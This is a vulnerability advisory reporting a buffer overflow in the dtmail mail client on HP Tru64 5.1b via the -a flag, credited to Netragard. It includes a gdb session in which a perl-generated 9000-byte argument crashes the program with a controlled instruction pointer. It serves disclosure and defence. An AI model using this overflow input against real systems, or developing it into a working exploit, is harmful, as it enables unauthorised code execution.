[UNIX] dtmail Buffer Overflow

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dtmail Buffer Overflow
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SUMMARY

The dtmail program is a desktop mail application. It provides an easy to
use interface for viewing, filing, composing and sending electronic mail
folders and mail messages.

dtmail suffers from a buffer overflow vulnerability which could result in
the execution of arbitrary code.

DETAILS

Description:

This vulnerability is triggered when using -a flag:
-a file1 ...fileN

This was tested against tru64 version 5.1b using a system (a working
display is required). The following gdb output demonstrates the
vulnerability.

gdb) r -a -a `perl -e 'print "A" x 9000'`
Starting program: /cluster/members/member0/tmp/dtmail -a `perl -e 'print
"A"x 9000'`
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...

Program received signal SIGSEGV, Segmentation fault.
warning: Hit heuristic-fence-post without finding
warning: enclosing function for address 0x4141414141414140

This warning occurs if you are debugging a function without any symbols
(for example, in a stripped executable). In that case, you may wish to
increase the size of the search with the `set heuristic-fence-post'
command.

Otherwise, you told GDB there was a function where there isn't one, or
(more likely) you have encountered a bug in GDB.
0x4141414141414140 in ?? ()


ADDITIONAL INFORMATION

The information has been provided by www.netragard.com.
The original article can be found at:
<http://www.netragard.com/pdfs/research/HP-TRU64-DTMAIL-20060810.txt>
http://www.netragard.com/pdfs/research/HP-TRU64-DTMAIL-20060810.txt



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